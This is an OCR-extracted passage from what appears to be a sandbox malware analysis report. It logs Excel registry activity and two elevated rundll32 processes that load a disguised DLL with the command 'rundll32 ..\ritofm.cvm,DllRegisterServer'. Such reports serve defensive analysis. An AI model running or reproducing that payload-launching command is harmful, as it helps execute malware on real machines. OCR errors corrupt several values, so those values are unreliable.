00 6E 00 61 00 6C 00 79 00 73 00 69 00
73 00 2E 00 78 00 6C 00 73 00 00 00 33
00 32 00 31 00 35 00 34 00 66 00 34 00
63 00 5F 00 62 00 79 00 5F 00 6C 00 69
00 62 00 72 00 61 00 6E 00 61 00 6C 00
79 00 73 00 69 00 73 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic 11A91B binary 04 00 00 00 28 02 00 00 2A 00 00 00 43 success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\11A91B 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 C3 52
9E CC6E 47 D701 1B A9 1100 1B A9
11 00 00 00 00 00 B8 02 00 00 56 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic ltem 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\6516896632.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\9713424497 .xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\0887538035.xIsx

Copyright Joe Security LLC 2021 Page 37 of 40



Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

7TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path Name Type

HKEY_CURRENT_USER\Software\Mic 11B5F7 binary
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\11B5F7

Data

04 00 00 00 28 02 00 00 2A 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 C3 52
9E CC 6E 47 D7 01 F7 B5 11 00 F7 B5
11 00 00 00 00 00 B8 02 00 00 56 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00

Completion

success or wait

Source

Count Address Symbol

1

TFEEAA29ACO unknown

Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2384 Parent PID: 552
General
Start time: 13:35:52
Start date: 12/05/2021
Path: C:\Windows\System32\rundll32.exe
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Wow64 process (32bit): false

Commandline: rundll32 ..\ritofm.cvm,DIIRegisterServer
Imagebase: 0xffaB0000

File size: 45568 bytes

MDS5 hash: DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2320 Parent PID: 552
General
Start time: 13:35:53
Start date: 12/05/2021
Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false
Commandline: rundll32 ..\ritofm.cvm1,DIIRegisterServer
Imagebase: 0xffaB0000
File size: 45568 bytes
MDS5 hash: DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
File Activities
Source
File Path Offset Length Completion Count Address Symbol

Disassembly

Code Analysis
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